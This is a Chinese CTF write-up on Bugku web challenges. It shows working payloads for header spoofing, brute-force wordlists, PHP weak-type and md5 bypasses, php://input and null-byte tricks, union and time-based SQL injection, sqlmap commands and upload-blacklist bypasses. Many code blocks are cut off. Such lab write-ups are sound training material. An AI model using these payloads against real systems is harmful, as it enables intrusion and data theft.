Case1、HTML编码
题目: web3
可以看到有一串html编码被注释起来。
1 | <!--HTML编码特点 &# --> |
Case2、HTTP报头
题目: 域名解析
根据题目提示: 听说把 flag.baidu.com 解析到123.206.87.240 就能拿到flag
思路一: 修改系统的host文件
Windows下:
在C:\Windows\System32\drivers\etc这个目录下以管理员权限打开hosts添加一条
123.206.87.240 flag.baidu.com
即可
Linux下(以kali为例):
vim /etc/hosts
// 修改hosts文件 添加123.206.87.240 flag.baidu.com
/etc/init.d/networking restart
// 重启网络服务
思路二: 修改HTTP请求中的host消息报头
使用burpsuite抓包改包。
## 题目: [管理员系统]( http://123.206.31.85:1003/ )直接访问的话会显示IP禁止访问,请联系本地管理员登录。一般就需要在请求报文中添加一条消息报头X-Forwarded-For: 127.0.0.1
。用于识别用户的真实IP地址。
Case3、登录爆破
题目: 管理员系统
题目降低了难度,按F12可以查看到源码中有一串base64编码,明文为 test123。
尝试一下输入用户名发现判断回显都一样Invalid credentials!
,所以没办法知道这提示是用户名还是密码。
用burpsuite的intruder功能进行账号密码爆破。(不存在验证码的话都可以选择暴力破解试试)
攻击类别:
- Sniper: 对变量依次进行破解。
- battering ram: 变量对应同一个字典。并行破解。
- pitchfork: 变量对应不同字典。并行破解。字典项数也应该要一致。否则无法跑完较大的字典。
- cluster bomb: 变量对应不同字典,并且进行交集破解。常用于 账号+密码 破解
由于不知道提示的test123是账号还是密码,所以需要爆破两次。依次将test123放在username和password。
## 题目: [输入密码查看flag]( http://123.206.87.240:8002/baopo/ )目的: 生成密码字典
工具: crunch
命令: crunch <minimum length> <maximum length> [character set] [option]
- option : -o 保存字典 -b 指定最大字节数 -t 设置使用的特殊格式
* -t [@,%^] : @ 插入小写字母 | , 插入大写字母 | % 插入数字 | ^ 插入特殊符号
例子:
crunch 5 5 -t %%%%% -o num.txt //生成5位数字密码
crunch 4 4 + + 123 + -t %%@^ //生成2个数字(从123中选)+1个小写字母+1个常见符号
crunch 3 3 abc + 123 @#! -t @%^ //生成1个小写字母(从abc选)+1个数字(从123选)+1个常见符号(从@#!选)
Case4、源码分析
题目: web4
F12查看源代码:
1 | <html><head><title>BKCTF-WEB4</title> |
将<script>标签内的代码处理经过URL解码、格式化之后
1 | function checkSubmit() |
- getElementById() : 返回对拥有指定ID的第一个对象的引用。
分析代码:
取ID为password的第一个对象。若存在则判断 value属性,若不存在则报错。
目的:
要向服务器提交一个 id=”password” value=”67d709b2b54aa2aa648cf6e87a7114f1” 的表单。
方法一:
修改源码中的 <input type="input" name="flag" id="flag">
id改为 password。将
67d709b2b54aa2aa648cf6e87a7114f1输入文本框中点submit。
方法二:
修改源码中的 <input type="input" name="flag" id="flag">
为 <input type="input" name="flag" id="password" value="67d709b2b54aa2aa648cf6e87a7114f1" >
补充 : javascript输出方式
* alert() 弹窗输出
* document.write() 在页面上输出
* console.log() 在控制台窗口输出
## 题目: [点击一百万次]( http://123.206.87.240:9001/test/ )
1 | <script> |
分析代码:
关键在 if 判断语句,当clicks>=1000000时则生成一个form标签,生成一个input,添加到body标签内,并以POST方式将表单上传给服务器。
目的:
构造POST数据包
方法:
1 | POST /test/ HTTP/1.1 |
- 将GET请求转换为POST请求时增加两个请求报文: ()
- content-length: // 标识请求内容长度。
- content-type: // 标识请求内容的类型。常用值: application/x-www-form-urlencoded
补充:
JQuery是一个JavaScript的库。
- append() : $(‘body’).append(form) // 在每个指定(body)元素的结尾插入内容(form)
- text() : $(‘#clickcount’).text(clicks) // 设置所有指定(id=clickcount)元素文本内容(clicks
- $(‘#clickcount’).text() //返回所有匹配元素的文本内容
- 在CSS中可以使用 ‘#’ 来选择 id ,使用 ‘.’ 来选择class
1 | <!--1p.html--><html><head></head><body>never never never give up !!! |
分析1: 查看源代码可以看到1p.html的提示,如果直接访问会被重定向到bugku的论坛。
目的: 拦截重定向,分析跳转。
方法: Burpsuite可以抓重定向。但是没设置成功。也可以手动构造一个GET请求
1 | GET /test/1p.html HTTP/1.1 |
此时就可以看到Response数据包。
1 | HTTP/1.1 200 OK |
将其进行Base64解码和URL解码,格式化之后
分析2: id不能为空而且id==0。要有一个文件&a的内容为”bugku is a nice plateform!”。$b的长度要大于5,且第一个字符不为4。字符串”111”与$b的第一个字符连接后形成”1114”。满足if语句的条件后就显示flag。
1 | <!-- |
- stripos(str1,str2) : 查找 str2 在str1 中第一次出现的位置。
- substr(str1,start[,length]) : 字符串切割。将str1从start位置开始分割出length长的子串。
- “111”.substr(str1,0,1) : 将substr返回的子串连接到 “111”后。”.”在PHP中可以连接两个字符串
- eregi(strei,str1) : 不区分大小写的正则匹配。strei 为正则表达式,str1为进行匹配的字符串
- ereg(strei,str1) : 区分大小写的正则匹配。
- JavaScript的location_href=”url” : 页面跳转。
方法:
- id==0。可以使用php的弱类型比较漏洞。令id为不以数字开头的字符串就可以。
- $a的内容。 可以使用php伪协议。php://input 从POST正文提取内容。
- “1114”与$b的矛盾。 可以使用 eregi()的空字符截断漏洞,当匹配字符串或正则表达式遇到空字符时则截断(结束匹配)。空字符: \x00在URL中编码为%00,占用1字节。
payload:
1 | POST /test/hello.php?id='abc'&a=php://input&b=%00123456 HTTP/1.1 |
总结: 要仔细分析网页的跳转流程。PHP黑魔法总结
题目: 前女友
F12查看源代码可以发现有一个超链接。<a class="link" href="code.txt" target="_blank">链接</a>
。
很直接的PHP源码分析。GET方式传入3个参数。md5碰撞,strcmp绕过。
1 |
|
分析: 只要传入3个参数v1,v2,v3,找到不同的 v1和v2 加密后得到相同的MD5(或者只要是加密后的MD5是以0e开头之后全为数字即可,PHP将转换为科学记数法,符合的字符串asrutmu和cezlqem)。再利用strcmp()的漏洞就可以得到flag。
PS: 这里使用的 PHP脚本。这提供一对遇到MD5碰撞时常用字符串—240610708 和 QNKCDZO。
Payload1: v1=240610708&v2=QNKCDZO&v3[]=
Payload2: v1=asrutmu&v2=cezlqem&v3[]=
Payload3: v1[]=1&v2[]=2&v3[]= //这里利用了MD5加密数组返回NULL的漏洞。
题目: web8
1 |
|
extract() : 从数组中导入当前变量到当前符号表(key-value)。
1
2
3
4
5
6
7
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
菜鸟教程的例子。
file_get_contents() : 将文件(数据流)读到指定字符串。失败返回False。
trim() : 移除字符串两侧的空白字符或指定字符。例子: trim(str1,”abc”)
分析: 参数可控。让$fn指向POST正文的数据流(利用php://input),通过file_get_contents()读入文本内容,而POST的内容也是可控的,再让$ac===$fn即可。
payload: fn=php://input&ac=abc
错误的思路:
若file_get_contents返回为False,则打开文件后经过trim()为空字符0x00。这里想用空字符%00替代发现%00实际占用了1字节。即 %00 !=== 0x00。
题目: Cookie欺骗
分析: 观察URL中有两个关键参数。line和filename。一开始以为可以直接利用$filename读取源码。但尝试之后失败,猜测应该是要输入文件名,在通过更改行数遍历出源代码。
1 | import requests |
写个脚本,依次遍历每一行(line自增),得到index.php的源代码
1 |
|
- header(string,replace,http_response_code) : 向客户端传送原始的HTTP消息报头。
- replace : 标识是否替换已存在报头。true–替换,false–允许多个相同报头。
- http_response_code : 将HTTP响应代码强制为指定值。
分析: 可控参数$file,$line,$file_list[2]。在Cookie报头中传入对应margin参数,将filename设置为keys.php,通过控制$line来遍历keys.php中的内容。
1 | import requests |
python+PHP牛逼.
Case5、注入
题目: 学生成绩查询
1 | <form action="index.php" method="post"> |
思路: 界面有一个可以提交的表单,猜测是POST注入。
常规检测是否存在注入:
- and 1=1 返回正常 and 1=2 返回不正常 。通过页面返回效果判断。 其他: or
- 常使用 ‘ 单引号闭合。针对的是
select * from flag where id=''
这种。也有存在select * from flag where id=
不需要用单引号闭合的情况。 - 使用 # 或 – 注释。 在URL中的话推荐使用 %23。常使用 # 。
常规手工注入步骤:
- 判断是否存在注入
- order by 猜测字段数
- 使用联合查询或者显错或延迟或布尔盲注爆记录。此题使用联合查询
payload:
- 检测是否可以使用联合查询:
4' union select 1,2,3,4#
* //这里让 id='4' 而不是为 '1'是因为联合查询的时候若为真,则会先返回最前一条查询结果。所以需要让页面返回空才能让联合查询的结果显示出来。`' union select 1,2,3,4#`
- 查看当前数据库:
' union select 1,2,database(),4#
- // 直接使用mysql的database()方法。skctf_flag
- 查看当前数据库的所有表:
' union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema=skctf_flag#
- // 在MYSQL中,information_schema是一个信息数据库,保存着其他所有数据库的信息。fl4g,sc
- 查看当前表中的所有字段:
' union select group_concat(column_name),2,3,4 from information_schema.columns where table_schema=fl4g#
- skctf_flag
- 从fl4g表中获取skctf_flag字段的值(记录):
' union select group_concat(skctf_flag),2,3,4 from fl4g#
- BUGKU{Sql_INJECT0N_4813drd8hz4}
- 补充:
- 联合查询前提是知道列数。因为两个查询语句的字段数必须相同。否则报错
- group_concat() : 返回一个字符串结果。将查询到的结果连接起来。
- 查看当前表中的所有字段:
- // 在MYSQL中,information_schema是一个信息数据库,保存着其他所有数据库的信息。fl4g,sc
使用Sqlmap跑POST注入:
1. 使用Burpsuite抓POST请求包保存为 post.txt
1 | POST /chengjidan/index.php HTTP/1.1 |
1. `sqlmap -r "post.txt" -p "id" ` //检测是否存在注入,-r 指定一个HTTP请求包。-p 指定测试参数
2. `sqlmap -r "post.txt" --dbs` // 爆数据库
3. `sqlmap -r "post.txt" --tables -D 数据库名 ` // 爆指定数据库的表名
4. `sqlmap -r "post.txt" --columns -T 表名 -D 数据库名` // 爆指定数据库的指定表的字段
5. `sqlmap -r "post.txt" --dump -C 字段名 -T 表名 -D 数据库名` //爆指定数据库的指定表的字段的记录
题目: INSERT INTO注入
1 |
|
分析: 将HTTP报头中的X-FORWARDED-FOR的值传入数据库中查找[即存在注入点],需要注意的是遇到 ‘,‘ 就会分隔,即注入语句中不能出现 ‘,‘ 。
数据库插入语句: insert into client_ip (ip) values ('$ip');
构造payload: insert into client_ip (ip) values ('$ip'+payload)#');
//构造闭合和注释掉无关字符。
PS: 这里可以尝试一下显错注入和union查询,尝试延迟注入和布尔盲注。
思路: 由于过滤掉了逗号,但是延迟注入用到if语句和substr语句常见的都存在逗号。所以寻找能够替换的方法。
* if <条件1>,<操作1>,<操作2> 等价于 case when <条件1> then <操作1> else <操作2> end
* substr(str1,0,1) 等价于 substr(str1 from 1 for 1)
这样就能绕过逗号过滤了。接下来就是常规的SQL注入,使用的语句整理在了web篇。自己用python写了一个脚本,延迟注入就是一个字符一个字符猜测,太繁琐了。
1 | import requests |
PS: 新增的见识。用python实现字符串转16进制,可以利用binascii模块。
1 | import binascii |
Case6、脚本
题目: 秋名山老司机
1 | <html><head> |
目的: 在2s内计算出字符串的值POST给服务器。
方法: 可以使用Python脚本实现。主要用到 requests模块 和 BeautifulSoup模块。
脚本:
1 | import requests |
- 这题还有个坑就是不知道该POST什么内容。多次刷新页面后会返回提示。
1 | <html><head></head><body>Give me value post about 1167615833-2028495294+97381097-1569928798*667028930+343773411+1167012173+1531393645*279992116+950996094*410742162=?</body></html> |
- 补充 : Python中的另外一个可以执行字符串的函数 exec() : 执行更复杂的字符串代码,返回值永为NULL。
1 | <html><head></head><body><br>我感觉你得快点!!!<!-- OK ,now you have to post the margin what you find --> |
分析: 使用Burpsuite抓包,发现在Response包内有flag消息报头,且值为Base64编码,每次重新访问flag都会不同,所以猜测将值解码后以margin为key,POST给服务器。
1 | HTTP/1.1 200 OK |
脚本:
1 | import requests |
- 使用Python的base64模块可以进行Base64编码解码。但是要注意类型的转换。
- str => bytes : s.encode() 可以指定编码。 s.encode(encoding=’utf-8’)。
- bytes => str : b.decode() 可以指定编码。b.decode(encoding=’utf-8’)。
- 补充: 这题有点小坑,需要两次Base64解码
题目: 备份是个好习惯
1 | <html><head></head><body>d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e</body></html> |
分析1: 这个页面是本题的第一个坑。解这串MD5会得到一个空密码。所以做题的时候要关注题目和提示。从备份文件下手,后缀一般为 bak,swp。
PS: 如果工具扫描不出来,则可以自己在配置文件里添加。
把index.php.bak下载下来之后就可以分析代码了。
1 |
|
strstr(str1,str2) : 查找str2在str1中是否存在,若存在则返回从str2开始到结束的子串。
substr(str1,start[,length]) : 返回str1的指定子串。
parse_str(str1[,array]) : 把查询字符串解析到变量中。若未设置array,则覆盖原有存在变量。
举个例子:
1
2
3
4
5
parse_str("name=Peter&age=43");
echo $name."<br>";
echo $age;
分析2: 在if前面的语句都是在规定如何构造payload,if语句则要求构造出2个不同的值但MD5相同。在最后payload记得要利用双写关键字绕过替换。
方法: 利用PHP脚本进行MD5碰撞再合适不过。对于字符串的自增操作相当于穷举,非常方便.
1 |
|
- substr_compare(str1,str2,start[,length,case]) : 从指定位置开始比较两个字符串。可以选择对大小写敏感。str1主字符串,str2副字符串。
- case : 布尔值。FALSE –区分大小写(默认),TRUE –不区分大小写。
- 返回值 : =0 相等 | <0 str1<str2 | >0 str1>str2
- 用CMD运行PHP脚本需要设置环境变量。推荐使用PHPstudy集成的PHP环境。
- PS: MD5碰撞几率 2^128次方。
Payload : http://123.206.87.240:8002/web16/?kkeyey1=240610708&kkeyey2=QNKCDZO
总结: PHP真的强大。。
Case7、上传绕过
题目: 求getshell
失败的操作:
目前为止了解到的上传绕过已经整理在了web篇。但是这一题尝试了截断上传,改后缀名,大小写绕过,双文件上传,.htaccess重写,双扩展文件名,后缀名解析漏洞 都没有成功。
在尝试 .htaccess重写解析的时候回显 you got it :) 。但是无法使用菜刀连接。
好吧,,上网找别人写的wp吸取吸取经验。
收获:
再一次认识content-type。整理在了web篇。
boundary生成一个字符串来分割请求头和请求主体。
通过fuzz发现,这里的限制使用的黑名单。所以尝试所有可以解析成php的后缀名。
php2,php3,php4,php5,phps,pht,phtm,phtml
又可以添加进字典了。
分析: 本题有3个地方需要绕过。
- Content-type 。 规定只能上传二进制类型,即若上传PHP脚本(文本类型)则会被拦截下来。绕过方法: 直接将multipart/form-data随意改变一个字母为大写即可[由于不支持大写]。
- filename。 文件名,这使用黑名单过滤,所以可以进行fuzz发现 .php5 没有在黑名单中
- Content-Type: image/jpeg 。 这里主要检测是否为图片格式。